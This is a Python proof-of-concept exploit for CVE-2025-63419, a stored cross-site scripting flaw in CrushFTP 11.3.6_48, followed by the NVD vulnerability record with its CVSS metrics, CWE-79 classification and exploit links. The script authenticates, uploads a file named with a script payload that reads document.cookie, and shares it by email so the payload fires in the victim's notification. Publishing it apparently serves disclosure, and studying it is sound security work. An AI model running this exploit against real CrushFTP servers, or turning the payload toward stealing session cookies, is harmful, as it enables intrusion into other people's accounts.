CVE-2025-63419

import requests import urllib.parse # CVE-2025-63419 PoC - Stored XSS in CrushFTP File Sharing # Target: CrushFTP 11.3.6_48 target_url = "http://target-server:8080/" # Malicious filename containing XSS payload malicious_filename = '<script>alert(document.cookie)</script>' # Step 1: Authenticate to CrushFTP login_data = { "username": "attacker", "password": "password123" } session = requests.Session() login_resp = session.post(f"{target_url}api/login", data=login_data) # Step 2: Upload file with malicious filename files = { "file": (malicious_filename, b"test content", "application/octet-stream") } upload_resp = session.post(f"{target_url}api/upload", files=files) # Step 3: Share the file via email (triggers XSS in email body) share_data = { "filename": malicious_filename, "recipient_email": "[email protected]", "message": "Please check this file" } share_resp = session.post(f"{target_url}api/share", data=share_data) print(f"XSS payload sent: {urllib.parse.quote(malicious_filename)}") print(f"Response: {share_resp.status_code}") # When victim views the email notification, XSS executes

{"cve": {"id": "CVE-2025-63419", "sourceIdentifier": "[email protected]", "published": "2025-11-12T17:15:38.710", "lastModified": "2025-12-31T16:34:12.763", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross Site Scripting (XSS) vulnerability in CrushFTP 11.3.6_48. The Web-Based Server has a feature where users can share files, the feature reflects the filename to an emailbody field with no sanitations leading to HTML Injection."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*", "versionEndExcluding": "11.3.7_60", "matchCriteriaId": "01E11F0D-2898-4CE5-AFE5-1281DF834BBA"}]}]}], "references": [{"url": "https://gist.github.com/MMAKINGDOM/39ded58b1e6d2d19366e76e0d5b1c851", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/MMAKINGDOM/CVE-2025-63419/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}